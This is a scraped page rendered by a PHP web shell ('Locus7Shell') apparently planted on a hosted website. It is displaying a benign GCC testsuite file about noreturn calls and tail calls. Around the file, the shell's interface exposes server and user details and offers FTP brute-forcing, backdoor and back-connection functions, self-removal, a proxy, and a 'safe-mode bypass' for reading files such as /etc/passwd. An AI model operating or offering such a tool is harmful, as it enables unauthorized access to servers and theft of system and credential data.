Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     stack-check-2.c (1.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* The goal here is to ensure that we never consider a call to a noreturn
   function as a potential tail call.

   Right now GCC discovers potential tail calls by looking at the
   predecessors of the exit block.  A call to a non-return function
   has no successors and thus can never match that first filter.

   But that could change one day and we want to catch it.  The problem
   is the compiler could potentially optimize a tail call to a nonreturn
   function, even if the caller has a frame.  That breaks the assumption
   that calls probe *sp when saving the return address that some targets
   depend on to elide stack probes.  */

/* { dg-do compile } */
/* { dg-options "-O2 -fstack-clash-protection -fdump-tree-tailc -fdump-tree-optimized" } */
/* { dg-require-effective-target supports_stack_clash_protection } */

extern void foo (void) __attribute__ ((__noreturn__));


void
test_direct_1 (void)
{
  foo ();
}

void
test_direct_2 (void)
{
  return foo ();
}

void (*indirect)(void)__attribute__ ((noreturn));


void
test_indirect_1 ()
{
  (*indirect)();
}

void
test_indirect_2 (void)
{
  return (*indirect)();;
}


typedef void (*pvfn)() __attribute__ ((noreturn));

void (*indirect_casted)(void);

void
test_indirect_casted_1 ()
{
  (*(pvfn)indirect_casted)();
}

void
test_indirect_casted_2 (void)
{
  return (*(pvfn)indirect_casted)();
}
/* { dg-final { scan-tree-dump-not "tail call" "tailc" } } */
/* { dg-final { scan-tree-dump-not "tail call" "optimized" } } */


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--